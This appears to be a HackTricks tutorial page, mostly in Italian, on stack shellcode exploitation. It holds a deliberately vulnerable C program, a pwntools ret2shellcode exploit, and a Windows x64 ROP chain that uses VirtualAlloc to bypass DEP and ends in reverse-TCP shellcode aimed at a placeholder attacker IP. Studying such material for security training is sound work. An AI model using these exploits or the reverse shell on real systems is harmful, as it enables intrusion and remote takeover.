Stack Shellcode

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Stack shellcode è una tecnica usata nella binary exploitation in cui un attacker scrive shellcode nello stack di un vulnerable program e poi modifica il Instruction Pointer (IP) o il Extended Instruction Pointer (EIP) per puntare alla posizione di questo shellcode, facendolo eseguire. È un metodo classico per ottenere accesso non autorizzato o eseguire comandi arbitrari su un target system. Di seguito una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con pwntools.

Esempio in C: A Vulnerable Program

Cominciamo con un semplice esempio di vulnerable C program:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funzione gets().

Compilazione

Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Disabilita la protezione dello stack.
  • -z execstack: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata sullo stack.
  • -no-pie: Disabilita Position Independent Executable (PIE), rendendo più semplice prevedere l'indirizzo di memoria in cui si troverà la nostra shellcode.
  • -m32: Compila il programma come eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit.

Python Exploit usando Pwntools

Ecco come potresti scrivere un exploit in Python usando pwntools per eseguire un attacco ret2shellcode:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Questo script costruisce un payload composto da una NOP slide, la shellcode, e poi sovrascrive la EIP con l'indirizzo che punta alla NOP slide, garantendo l'esecuzione della shellcode.

La NOP slide (asm('nop')) viene usata per aumentare la probabilità che l'esecuzione "slide" nella nostra shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di p32() all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.

Punti chiave (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → scegli un indirizzo nello stack corrente (e.g., RSP) così la regione RWX appena allocata si sovrappone al tuo payload
  • RDX = dwSize → abbastanza grande per la tua chain + shellcode (e.g., 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Strategia minima:

  1. Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR.
  2. Trova gadgets per caricare RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadgets aritmetici per sintetizzare costanti (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
  3. Posiziona lo stage-2 shellcode immediatamente dopo la chain.

Esempio layout (concettuale):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Con un set di gadget limitato, puoi costruire i valori dei registri indirettamente, ad esempio:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword.
  • xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer.
  • push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX.

Esempio Pwntools (data una base nota e gadget noti):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Suggerimenti:

  • VirtualProtect funziona in modo simile se è preferibile rendere un buffer esistente RX; l'ordine dei parametri è diverso.

  • Se lo spazio nello stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.

  • Considera sempre i gadget che modificano RSP (es., add rsp, 8; ret) inserendo qword di riempimento.

  • ASLR dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni; altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.

  • Stack Canaries dovrebbero essere disabilitati anch'essi, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.

  • NX la protezione stack impedirebbe l'esecuzione dello shellcode nello stack perché quella regione non sarebbe eseguibile.

Altri esempi e riferimenti

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks